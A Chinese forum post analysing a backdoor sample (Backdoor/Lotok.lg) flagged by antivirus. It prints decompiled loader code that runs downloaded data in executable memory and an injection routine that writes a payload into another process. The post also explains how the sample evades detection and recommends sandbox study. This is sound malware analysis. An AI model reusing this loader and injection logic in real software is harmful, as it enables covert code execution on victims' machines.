火绒内存扫描kill
- 病毒名称:Backdoor/Lotok.lg
- 病毒ID:FB6E538ADFC8E34D
- 虚拟地址:0x0000000010000000
- 映像大小:120KB
- 是否完整映像:否
- 数据流哈希:6f3475f0
- 操作结果:暂不处理
- 进程ID:7780
- 操作进程:C:\Users\PC\AppData\Local\Verifier.exe
- 操作进程命令行:C:\Users\PC\AppData\Local\Verifier.exe
- 父进程ID:7748
- 父进程:C:\Users\PC\Downloads\TS-251019-01\telcgrtup-xk_x64.6.1.3.9.exe
- 父进程命令行:"C:\Users\PC\Downloads\TS-251019-01\telcgrtup-xk_x64.6.1.3.9.exe"
复制代码
火绒提取出的内存转储如下:

又分析了一下。
regsvr32.exe(Memory):
样本 regsvr32.exe_ 是 32 位 PE(基址 0x10000000,大小 0x36000,MD5 102e4ae8b51110b38e5c059296c65943,SHA256 4d9eb46b40b6b9adf5d93eb864f2d0f6bc462fd23a7f3c9755fafcdc160e0798),伪装成 regsvr32.exe 但导入表为空,所有 API 通过自定义调度表手工解析,明显属于被修改的恶意构件。
• DllEntryPoint (0x1000895b) 内嵌 RC4-like 密钥调度及密文流处理(寄存器 %256 循环、交换表等),将全局缓冲区解密后通过 sub_10007E88 追加至动态结构,再调用 sub_10008BBE/sub_100039A2 清理,表明入口处已经承担第一阶段 payload 解密工作。
• 大型字符串表位于 .rdata 末段(如 0x10032000 起),包含 VirtualAlloc、GetProcAddress、CreateMutexA、WaitForSingleObject、CoCreateInstance 等几十个内核/COM API 名称;这些名称由 byte_10022001 附近的函数包装器逐项解析,使静态检测难以获取真实依赖。
• 关键加载逻辑在 sub_100025A1(未被正常引用但包含主流程):轮询全局数据 unk_10031B28/unk_1002B5DC,失败时调用 Sleep(3000) 重试;成功后通过 VirtualAlloc(…, 0x3000, 0x40) 分配 RWX 内存,借助 sub_1000BB80(memcpy)写入解密结果并直接当作函数指针执行,典型内存投递/反射式装载手法。
• 自定义 API 分发表 byte_10022001 内多段小序言(mov eax,<addr>; jmp 等),逐步填充自字符串表解析出的真实函数地址;整套机制绕过 IAT,结合 RC4 解密与内存执行,符合多阶段 loader 行为。
补充说明
• mcp_list_imports 返回空列表,说明正常导入被剥离;加上动态解析列表中含 ShellExecuteA、VirtualAllocEx、CreateToolhelp32Snapshot 等,潜在具备持久化与进程注入能力。
• 当前分析未解出 RC4 密钥及最终内存中第二阶段的真实内容;需后续还原 unk_10031B28 等配置块,或在沙箱下监控 VirtualAlloc 后的执行流,才能进一步确认具体目的(如木马回连、Credential Dump 等)。
• sub_100025A1 通过大量函数指针调用(偏移 0x403、0x407、0x427 等)访问操作系统 API,由于 IDA 未能自动识别交叉引用,请在调试中断于该函数,跟踪 byte_10022001 表填充过程,可快速映射真实 API 名称。
后续建议
• 继续在 IDA 中恢复 byte_10022001 调度表(可在运行时打断点观察解析出的函数地址),明确每个偏移对应的 WinAPI。
• 编写脚本重现 DllEntryPoint 的 RC4 解密逻辑,从 unk_10031B28 等段落提取并解密第二阶段,以便静态分析最终 payload。
• 将样本放入隔离沙箱运行,重点监控网络请求、注册表及进程注入行为,验证其 C2 或持久化特征。
- int sub_100025A1()
- {
- int v0; // ebx
- _DWORD *v1; // esi
- int v2; // eax
- int v3; // esi
- int v4; // eax
- int v5; // edi
- int v6; // ebx
- int v7; // eax
- void (__stdcall *v8)(int, int, int); // esi
- int v10; // [esp-18h] [ebp-1E0h]
- int v11; // [esp-14h] [ebp-1DCh]
- int v12; // [esp-10h] [ebp-1D8h]
- int v13; // [esp+0h] [ebp-1C8h]
- int v14; // [esp+0h] [ebp-1C8h]
- int v15; // [esp+0h] [ebp-1C8h]
- int v16; // [esp+0h] [ebp-1C8h]
- int v17; // [esp+4h] [ebp-1C4h]
- int v18; // [esp+4h] [ebp-1C4h]
- int v19; // [esp+4h] [ebp-1C4h]
- int v20; // [esp+4h] [ebp-1C4h]
- int v21; // [esp+4h] [ebp-1C4h]
- int v22; // [esp+4h] [ebp-1C4h]
- int v23; // [esp+8h] [ebp-1C0h]
- int v24; // [esp+8h] [ebp-1C0h]
- int v25; // [esp+8h] [ebp-1C0h]
- int v26; // [esp+8h] [ebp-1C0h]
- int v27; // [esp+8h] [ebp-1C0h]
- int v28; // [esp+8h] [ebp-1C0h]
- int v29; // [esp+Ch] [ebp-1BCh]
- int v30; // [esp+Ch] [ebp-1BCh]
- int v31; // [esp+Ch] [ebp-1BCh]
- int v32; // [esp+Ch] [ebp-1BCh]
- int v33; // [esp+Ch] [ebp-1BCh]
- int v34; // [esp+Ch] [ebp-1BCh]
- int v35; // [esp+10h] [ebp-1B8h] BYREF
- int v36; // [esp+14h] [ebp-1B4h]
- int v37; // [esp+18h] [ebp-1B0h]
- int v38; // [esp+1Ch] [ebp-1ACh]
- int v39; // [esp+20h] [ebp-1A8h]
- int v40; // [esp+24h] [ebp-1A4h]
- int v41; // [esp+28h] [ebp-1A0h]
- int v42; // [esp+2Ch] [ebp-19Ch]
- int v43; // [esp+30h] [ebp-198h]
- int v44; // [esp+34h] [ebp-194h]
- int v45; // [esp+38h] [ebp-190h]
- int v46; // [esp+3Ch] [ebp-18Ch]
- int v47; // [esp+40h] [ebp-188h]
- int v48; // [esp+44h] [ebp-184h]
- int v49; // [esp+48h] [ebp-180h]
- int v50; // [esp+4Ch] [ebp-17Ch]
- int v51; // [esp+50h] [ebp-178h]
- int v52; // [esp+54h] [ebp-174h]
- int v53; // [esp+58h] [ebp-170h]
- int v54; // [esp+5Ch] [ebp-16Ch]
- int v55; // [esp+60h] [ebp-168h]
- int v56; // [esp+64h] [ebp-164h]
- int v57; // [esp+68h] [ebp-160h]
- int v58; // [esp+6Ch] [ebp-15Ch]
- int v59; // [esp+70h] [ebp-158h]
- int v60; // [esp+74h] [ebp-154h]
- int v61; // [esp+78h] [ebp-150h]
- int v62; // [esp+7Ch] [ebp-14Ch]
- int v63; // [esp+80h] [ebp-148h]
- int v64; // [esp+84h] [ebp-144h]
- int v65; // [esp+88h] [ebp-140h]
- int v66; // [esp+8Ch] [ebp-13Ch]
- int v67; // [esp+90h] [ebp-138h]
- int v68; // [esp+94h] [ebp-134h]
- int v69; // [esp+98h] [ebp-130h]
- int v70; // [esp+9Ch] [ebp-12Ch]
- int v71; // [esp+A0h] [ebp-128h]
- int v72; // [esp+A4h] [ebp-124h]
- int v73; // [esp+A8h] [ebp-120h]
- int v74; // [esp+ACh] [ebp-11Ch]
- int v75; // [esp+B0h] [ebp-118h]
- int v76; // [esp+B4h] [ebp-114h]
- int v77; // [esp+B8h] [ebp-110h]
- int v78; // [esp+BCh] [ebp-10Ch]
- int v79; // [esp+C0h] [ebp-108h]
- int v80; // [esp+C4h] [ebp-104h]
- int v81; // [esp+C8h] [ebp-100h]
- int v82; // [esp+CCh] [ebp-FCh]
- int v83; // [esp+D0h] [ebp-F8h]
- int v84; // [esp+D4h] [ebp-F4h]
- int v85; // [esp+D8h] [ebp-F0h]
- int v86; // [esp+DCh] [ebp-ECh]
- int v87[4]; // [esp+1A0h] [ebp-28h] BYREF
- __int64 v88; // [esp+1B0h] [ebp-18h]
- __int64 v89; // [esp+1B8h] [ebp-10h]
- _DWORD *v90; // [esp+1C0h] [ebp-8h] BYREF
- int v91; // [esp+1C4h] [ebp-4h]
- v90 = 0;
- v0 = -1;
- v91 = -1;
- ((void (__stdcall *)(int, int *, int, int, int, int))((char *)&byte_10022001 + 423))(514, &v35, v13, v17, v23, v29);
- v87[0] = 0;
- v88 = 0i64;
- v89 = 0i64;
- v87[1] = 2;
- v87[2] = 1;
- v87[3] = 6;
- while ( 1 )
- {
- if ( !((int (__stdcall *)(void *, void *, int *, _DWORD **, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 419))(
- &unk_10031B28,
- &unk_1002B5DC,
- v87,
- &v90,
- v14,
- v18,
- v24,
- v30,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81) )
- {
- v1 = v90;
- if ( v90 )
- {
- do
- {
- v2 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 407))(
- v1[1],
- v1[2],
- v1[3],
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82);
- v0 = v2;
- v91 = v2;
- if ( v2 != -1 )
- {
- if ( ((int (__stdcall *)(int, _DWORD, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 403))(
- v2,
- v1[6],
- v1[4],
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82) != -1 )
- break;
- ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 427))(
- v0,
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84);
- v0 = -1;
- v91 = -1;
- }
- v1 = (_DWORD *)v1[7];
- }
- while ( v1 );
- v1 = v90;
- }
- ((void (__stdcall *)(_DWORD *, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 415))(
- v1,
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84);
- if ( v0 != -1 )
- break;
- }
- ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 11))(
- 3000,
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84);
- }
- v3 = 4096;
- v4 = sub_100107F3(4096);
- v5 = 0;
- LABEL_12:
- v6 = v4;
- while ( 1 )
- {
- v7 = ((int (__stdcall *)(int, int, int, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 399))(
- v91,
- v5 + v6,
- v3 - v5,
- 0,
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81);
- if ( v7 <= 0 )
- break;
- v5 += v7;
- if ( v5 == v3 )
- {
- v3 *= 2;
- v4 = sub_1000F4F5(v6);
- goto LABEL_12;
- }
- }
- if ( v7 )
- {
- ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 427))(
- v91,
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84);
- ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 411))(
- v16,
- v22,
- v28,
- v34,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84,
- v85);
- sub_1000FD3F(v6);
- return 1;
- }
- else
- {
- ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 427))(
- v91,
- v15,
- v19,
- v25,
- v31,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84);
- ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 411))(
- v20,
- v26,
- v32,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82,
- v83,
- v84,
- v85,
- v86);
- v8 = (void (__stdcall *)(int, int, int))((int (__stdcall *)(_DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 43))(
- 0,
- v5,
- 12288,
- 64,
- v21,
- v27,
- v33,
- v35,
- v36,
- v37,
- v38,
- v39,
- v40,
- v41,
- v42,
- v43,
- v44,
- v45,
- v46,
- v47,
- v48,
- v49,
- v50,
- v51,
- v52,
- v53,
- v54,
- v55,
- v56,
- v57,
- v58,
- v59,
- v60,
- v61,
- v62,
- v63,
- v64,
- v65,
- v66,
- v67,
- v68,
- v69,
- v70,
- v71,
- v72,
- v73,
- v74,
- v75,
- v76,
- v77,
- v78,
- v79,
- v80,
- v81,
- v82);
- sub_1000BB80(v8, v6, v5);
- v8(v10, v11, v12);
- sub_1000FD3F(v6);
- return 0;
- }
- }
复制代码
核心功能推测
1. 初始化连接:
• 通过偏移地址调用函数(如byte_10022001 + 423),传递参数514(可能是端口或操作码)。
• 初始化结构体v87 = {0, 2, 1, 6}(可能代表协议类型或指令集)。
2. 设备/连接枚举:
• 循环调用byte_10022001 + 419遍历设备列表(v90链表结构)。
• 对每个设备尝试激活(byte_10022001 + 407)和连接(byte_10022001 + 403),成功则跳出循环。
3. 数据读取:
• 分配4096字节缓冲区(sub_100107F3)。
• 循环读取数据(byte_10022001 + 399),动态扩容缓冲区(sub_1000F4F5)。
• 若读取失败(v7 < 0),关闭连接返回错误(return 1)。
4. 代码执行:
• 成功读取数据后,分配可执行内存(12288 = MEM_COMMIT|MEM_RESERVE, 64 = PAGE_EXECUTE_READWRITE)。
• 复制数据到内存(sub_1000BB80)。
• 直接执行内存中的代码(v8(v10, v11, v12)),最后释放缓冲区(sub_1000FD3F)。
关键特征
• 动态代码执行:函数末尾将接收的数据作为代码执行,常见于恶意软件(Shellcode注入)等。
潜在风险
• 高危行为:动态分配可执行内存并跳转执行(v8(...))是典型的安全漏洞利用/恶意代码特征。正常软件极少需要这种操作。
伪代码逻辑
- int sub_100025A1() {
- // 初始化连接
- init_connection(514, ...);
-
- // 枚举设备直到找到可用连接
- while (true) {
- devices = enum_devices();
- for (device in devices) {
- if (activate_device(device) && connect_device(device)) {
- handle = device.handle; // v91
- break;
- }
- }
- if (handle != -1) break;
- Sleep(3000); // 重试等待
- }
- // 动态读取数据
- buffer = malloc(4096);
- while ((bytes_read = read_data(handle, buffer)) > 0) {
- total_size += bytes_read;
- if (buffer_full) buffer = realloc(buffer*2);
- }
- if (read_error) {
- close_connection();
- return 1; // 失败
- }
- // 执行接收到的代码
- exec_mem = VirtualAlloc(..., PAGE_EXECUTE_READWRITE);
- memcpy(exec_mem, buffer, total_size);
- ((void(*)(int,int,int))exec_mem)(arg1, arg2, arg3); // 危险操作
- free(buffer);
- return 0; // 成功
- }
复制代码
建议
• 安全审查:此代码行为高度可疑,需排查是否涉及未授权代码执行。
Verifier.exe(Memory):
发现要点
• DllEntryPoint位于0x10003368处,会立即跳转至自定义运行时:分配临时缓冲区(sub_10002650/sub_10005210),通过sub_10002E10解压内嵌数据块,并通过sub_1000340A循环返回,表明这是一个分阶段加载器,且采用了激进的控制流混淆技术。
• 所有Windows API均在运行时动态解析;没有导入表(mcp_list_imports返回为空)。加载器会遍历编码字符串表(参见sub_10002850、sub_10003540、sub_10003650),构造Unicode名称后传递给LoadLibraryExW/GetProcAddress。
• 字符串池包含一组敏感API:进程枚举(CreateToolhelp32Snapshot、Process32FirstW/NextW)、远程内存操作(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateThread)、互斥体/实例控制(CreateMutexA)、终端/会话发现(WTSGetActiveConsoleSessionId、AppPolicyGetProcessTerminationMethod)以及网络检查(GetTcpTable2)。这些组合强烈暗示了进程注入行为,并伴有主机/网络侦察功能。
• sub_10003C7D中的初始化逻辑执行受保护的一次性设置(CreateMutexA、宽字符串比较),并在调用外部指针0x5E1C114后通过回调表分发,表明可能存在反射加载或与其他组件的集成。
已观察到的能力
• 可能枚举正在运行的进程,并使用Toolhelp快照选择目标。
• 准备远程内存区域,通过VirtualAllocEx/WriteProcessMemory将有效负载写入其他进程,然后通过CreateThread启动执行。
• 收集TCP连接数据(GetTcpTable2)和会话上下文,用于受害者指纹识别或横向移动决策。
• 使用基于互斥体的单实例控制和加密配置数据块(大量非ASCII字符串字面量)来避免重复执行和静态分析。
后续步骤
• 1. 在调试器/沙箱中运行该DLL并启用API日志记录,以确认注入目标并捕获任何第二阶段有效负载。
• 2. 提取并解码sub_10003C7D/sub_100077CD引用的配置数据块,以恢复C2端点或过滤规则。
• 3. 在受控虚拟机中监控子进程或注入的线程,以观察持久化行为和网络IOC。
sub_10002040(位于0x10002040)是执行整个序列的例程:它调用sub_10010024(..., 0, 0x1000, 0x3000, 0x4)来封装VirtualAllocEx,紧接着调用sub_10010098封装WriteProcessMemory,一旦有效载荷和簿记数据准备就绪,它便通过sub_10010020获取线程创建指针并调用该指针以在远程进程中启动执行。
- char __fastcall sub_10002040(int a1, int a2)
- {
- int v2; // edi
- int v3; // ebx
- int v4; // eax
- int *v5; // edi
- char *v6; // esi
- char *v7; // eax
- int v8; // edx
- unsigned int v9; // ecx
- int v10; // esi
- int v11; // edx
- int v12; // eax
- void (__stdcall *v13)(int, int, _DWORD, _DWORD, _DWORD); // eax
- int v15[4]; // [esp+10h] [ebp-34h] BYREF
- unsigned int v16; // [esp+20h] [ebp-24h]
- unsigned int v17; // [esp+24h] [ebp-20h]
- __int64 v18; // [esp+28h] [ebp-1Ch] BYREF
- int v19; // [esp+34h] [ebp-10h]
- int v20; // [esp+38h] [ebp-Ch] BYREF
- int v21; // [esp+3Ch] [ebp-8h]
- v2 = a1;
- v21 = a1;
- v18 = a2;
- v19 = sub_10010024(a1, 0, 4096, 12288, 4);
- sub_10010098(v2, v19 + 56, &v18, 8, 0);
- v3 = 0;
- while ( 1 )
- {
- ++v3;
- v4 = ((int (__stdcall *)(int *, _DWORD, _DWORD, int))(&sub_10010090 + 1))(&v20, 0, 0, 2);
- sub_1001016C(v2, v3, v4);
- ((void (__fastcall *)(int *, int))loc_10001D70)(v15, v20);
- if ( v16 )
- break;
- LABEL_9:
- sub_1001001C(v20);
- if ( v17 > 0xF )
- {
- v8 = v15[0];
- if ( v17 + 1 >= 0x1000 )
- {
- v8 = *(_DWORD *)(v15[0] - 4);
- v9 = v17 + 36;
- if ( (unsigned int)(v15[0] - v8 - 4) > 0x1F )
- goto LABEL_18;
- }
- sub_10003BF9(v8);
- }
- }
- v5 = v15;
- if ( v17 > 0xF )
- v5 = (int *)v15[0];
- if ( v16 < 0xC
- || (v6 = (char *)v5 + v16, v7 = (char *)sub_10003BC0(v5, (char *)v5 + v16, &unk_100172CC, 12), v7 == v6)
- || v7 - (char *)v5 == -1 )
- {
- v2 = v21;
- goto LABEL_9;
- }
- v10 = v20;
- if ( v17 > 0xF )
- {
- v11 = v15[0];
- if ( v17 + 1 >= 0x1000 )
- {
- v11 = *(_DWORD *)(v15[0] - 4);
- v9 = v17 + 36;
- if ( (unsigned int)(v15[0] - v11 - 4) > 0x1F )
- LABEL_18:
- sub_10007353(v9);
- }
- sub_10003BF9(v11);
- }
- v16 = 0;
- v17 = 15;
- LOBYTE(v15[0]) = 0;
- v12 = sub_1001002C(&unk_100172DC);
- v13 = (void (__stdcall *)(int, int, _DWORD, _DWORD, _DWORD))sub_10010020(v12, &off_100172F0);
- v13(v10, v19, 0, 0, 0);
- return 0;
- }
复制代码
函数功能推测
1. 内存操作:
• sub_10010024分配内存(类似VirtualAlloc),参数4096(内存大小)、12288(通常为MEM_COMMIT | MEM_RESERVE)、4(PAGE_READWRITE权限)。
• sub_10010098将参数a2(64位值)写入分配的内存偏移56字节处(v19 + 56)。
2. 循环搜索:
• 通过loc_10001D70获取数据到v15数组,检查v16(数据长度)和v17(缓冲区容量)。
• 若v16 != 0,尝试在数据中搜索特征码unk_100172CC(12字节):
- sub_10003BC0(v5, (char*)v5 + v16, &unk_100172CC, 12);
复制代码 • 未找到特征码则继续循环(LABEL_9释放资源后重试)。
3. 动态函数调用:
• 找到特征码后,通过sub_10010020获取函数指针v13(类似GetProcAddress)。
• 最终调用v13(v10, v19, 0, 0, 0),推测是执行注入的代码(如CreateRemoteThread)。
关键逻辑
- while (1) {
- // 1. 获取资源句柄 (v20)
- v4 = ((int(*)(int*,0,0,2))(&sub_10010090 + 1))(&v20, 0, 0, 2);
-
- // 2. 关联资源与当前环境
- sub_1001016C(v2, v3, v4);
-
- // 3. 解析资源数据到v15/v16/v17
- loc_10001D70(v15, v20);
-
- if (v16 != 0) { // 有有效数据
- // 4. 搜索特征码
- if (v16 >= 12 && 找到特征码) {
- // 5. 执行目标函数
- v13 = GetProcAddress(模块, 函数名);
- v13(v10, v19, 0, 0, 0);
- break;
- }
- }
- // 6. 释放资源继续循环
- sub_1001001C(v20);
- }
复制代码
技术细节
• 内存管理:
v17 > 0xF时使用堆内存(v15[0]为指针),否则用栈内存。
sub_10003BF9释放内存(类似free)。
• 错误处理:
sub_10007353可能是异常处理(参数v9为错误码)。
• 调用约定:
__fastcall:参数通过ECX/EDX传递(a1/a2)。
__stdcall:被调函数清理栈。
推测用途
可能是进程注入(Process Injection)代码:
1. 分配内存并写入payload(a2)。
2. 遍历系统资源(进程/线程)搜索目标。
3. 找到目标后执行内存中的payload。
风险提示
此类代码常见于:恶意软件(病毒/木马)等。 |